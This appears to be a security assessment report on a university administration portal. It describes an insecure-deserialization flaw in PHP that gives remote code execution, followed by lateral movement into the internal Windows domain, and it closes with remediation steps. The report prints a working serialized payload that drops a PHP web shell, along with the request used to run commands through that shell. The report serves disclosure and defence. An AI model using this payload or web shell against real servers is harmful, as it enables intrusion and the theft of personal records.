Remote Code Execution (RCE) and System Compromise in University Administration Portal

Executive Summary

In December 2024, the SDX Shadow Labs research division performed a vulnerability assessment of a public university administration system. During the assessment, we identified a critical unauthenticated Remote Code Execution (RCE) vulnerability stemming from CWE-502 (Insecure Deserialization).

By exploiting this insecure deserialization vulnerability, an unauthenticated attacker could upload malicious scripts (web shells) directly to the web server root. This enabled remote code execution with system-level privileges. Chaining this initial foothold with weak internal network segmentations, we achieved full internal infrastructure control through lateral movement leveraging Windows MSRPC calls, putting the sensitive PII, academic records, and financial details of thousands of students and university staff at risk.

Impact & Scope

• Number of member users: More than 35,000 active on-campus students.
• Number of user records: Over 50 Lakh (5 million) global alumni records.

---

Technical Analysis & Vulnerability Mechanics

The university administrative portal was built on a hybrid infrastructure stack. The initial vector was located in a public-facing administrative endpoint that contained an insecure deserialization flaw (CWE-502) in the framework's state management.

The vulnerability occurs when user-supplied serialized objects are instantiated without proper validation or sanitization. By crafting a malicious serialized PHP object, we could manipulate the application's destructor (__destruct) methods to write an arbitrary file to the server's filesystem.

// Conceptual Vulnerability: Insecure Deserialization (CWE-502)
class FileUploader {
    public $filename;
    public $content;

    public function __destruct() {
        // Vulnerability: Writing arbitrary content to arbitrary locations during deserialization
        file_put_contents("/var/www/html/uploads/" . $this->filename, $this->content);
    }
}

// User input is directly unserialized
$user_data = unserialize($_POST['state']);

Because the server-side code blindly unserialized our payload, we could instantiate the FileUploader gadget and force it to drop a PHP web shell directly into the web-accessible directory.

---

Step-by-Step Attack Path

1. Exploiting Insecure Deserialization (CWE-502)

We identified the vulnerable endpoint accepting serialized data. We constructed a custom POP (Property-Oriented Programming) chain payload that would trigger the arbitrary file write vulnerability upon deserialization.

• Payload construction:

  O:12:"FileUploader":2:{s:8:"filename";s:7:"cmd.php";s:7:"content";s:83:"<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; system($_REQUEST['cmd']); die; } ?>";}
  

2. Execution of the Web Shell

We submitted the malicious serialized payload in the HTTP request. The backend deserialized the object, dropping our cmd.php web shell into the /uploads/ directory.

We accessed our web shell using the following request structure:

GET /uploads/cmd.php?cmd=whoami HTTP/1.1
Host: admin.university-portal.edu

The server executed the command and returned system identifier metadata, confirming our initial RCE foothold.

3. Lateral Movement via Windows MSRPC Calls

Operating inside the compromised web server, we began internal reconnaissance. We discovered that the web server had unrestricted network access to the internal Active Directory environment.

Instead of stopping at the web server, we pivoted deeper into the network. Using the initial shell, we proxied traffic to target internal domain controllers. By exploiting weak internal configurations and utilizing Windows MSRPC (Microsoft Remote Procedure Call) protocols, we executed authenticated RPC calls to enumerate domain admins and laterally move to highly privileged internal Windows servers.

1. Reconnaissance: Enumerated the internal network via rpcclient and MSRPC null sessions.
2. Lateral Movement: Relayed captured internal service account hashes to execute commands on the internal database clusters and file servers via MSRPC and SMB execution techniques.
3. Total Compromise: We obtained full administrative control over the university's internal infrastructure, allowing unrestricted access to all student records and payroll systems.

---

Remediation & Verification

Patching Insecure Deserialization

We worked with the university's IT infrastructure and development teams to patch the vulnerable framework.

1. The application was updated to a patched version that removes insecure unserialize() calls on untrusted user input, utilizing safe data formats like JSON (json_decode) instead.
2. Cryptographic signing (HMAC) was implemented for any necessary state objects passed to the client to ensure integrity.

Internal Network Segmentation

To prevent the lateral movement that allowed total infrastructure compromise, the university implemented strict network segmentation:

1. The DMZ web servers were isolated from the internal Active Directory environment.
2. Strict firewall rules were applied to block outbound SMB and MSRPC traffic from the web tier to the internal network.

Verification

All findings were verified as remediated through follow-up re-testing.